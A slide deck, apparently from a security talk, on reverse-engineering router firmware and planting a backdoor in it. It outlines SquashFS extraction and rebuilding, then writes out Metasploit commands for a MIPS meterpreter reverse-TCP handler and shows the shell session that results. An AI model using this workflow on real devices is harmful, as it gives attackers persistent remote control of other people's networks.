Router Reverse Engineering and Backdooring

~ Adithyan AK
To brag...

• Head of OWASP Coimbatore

• Technical member of Tamilnadu Cyber Security Council

• Hall of Fames at random sites and Top 4 in Oppo

• Owner of 4 CVE and Exploits

• Author of 3 research papers in international journals

• Security Researcher ~ Hence Proved
Reason to Reverse

• Find whether the firmware is backdoored

• If not, backdoor urself

• To understand the file system, flow and working

• To find possible exploits and get CVEs

• To customise your Router
Reverse to Pwn
Firmware

• Allows to control the specific hardware

• Hardware sensitive

• Firmware -> complex devices -> Operating environment

• Firmware -> less complex devices -> Operating system

• Held in non-volatile memory (ROM)

• Most router’s firmware has Linux based OS
File System

• Decides how a file is stored and retrieved

• Common File System in Windows
  • NTFS
  • FAT

• Common File System in Linux
  • SquashFS
  • UBIFS
SquashFS

• Extension: .sqashfs

• Compressed read-only file system

• Used in Embedded distributions like OpenWRT, Router Firmwares

• LZMA Compression technique
Reverse Engineering

• Binwalk
• Radare2
• hexdump
• Objdump
• Ghidra
• IDA
Extracting & Building SqashFS

- Unsqashfs
- Mksquashfs
- 7-zip 9.2
- Firmware-mod-kit
  - https://github.com/rampageX/firmware-mod-kit
  - Squashfs 2.0
  - Squashfs 3.0
  - Squashfs 4.0
Backdooring Process

1. Obtain Firmware
2. Reverse Engineer
3. Detect FS
4. Extract FS
5. Bind Backdoor
6. Rebuild Firmware
MIPS

- MIPS - Microprocessor without Interlocked Pipelined Stages

- With Interlocks, Complex operations are time consuming

- Other pipeline phases has to wait

- Defeats the purpose of Pipelining
Payload

• Little Endian and Big endian are two ways of storing multi-byte data-types (int, float, etc) in computers.

![Diagram showing Big Endian and Little Endian storage formats](image)

Example: How 0x1234567 is stored at memory location 0x100-0x103

• Elf - Common Executable file format for UNIX systems

• Msfvenom or custom bindshell
Setting up Handler

```plaintext
msf > use multi/handler
msf exploit(handler) > set payload linux/mipsbe/meterpreter/reverse_tcp
payload => linux/mipsbe/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 10.0.0.8
LHOST => 10.0.0.8
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 10.0.0.8:4444
[*] Starting the payload handler...
```
Flashing the firmware
Pwned

[*] Sending stage (1039876 bytes) to 10.0.0.46
[*] Meterpreter session 3 opened (10.0.0.8:4444 -> 10.0.0.46:33390)

meterpreter >
meterpreter >
meterpreter >
meterpreter >
meterpreter >
meterpreter > shell
Process 719 created.
Demonstration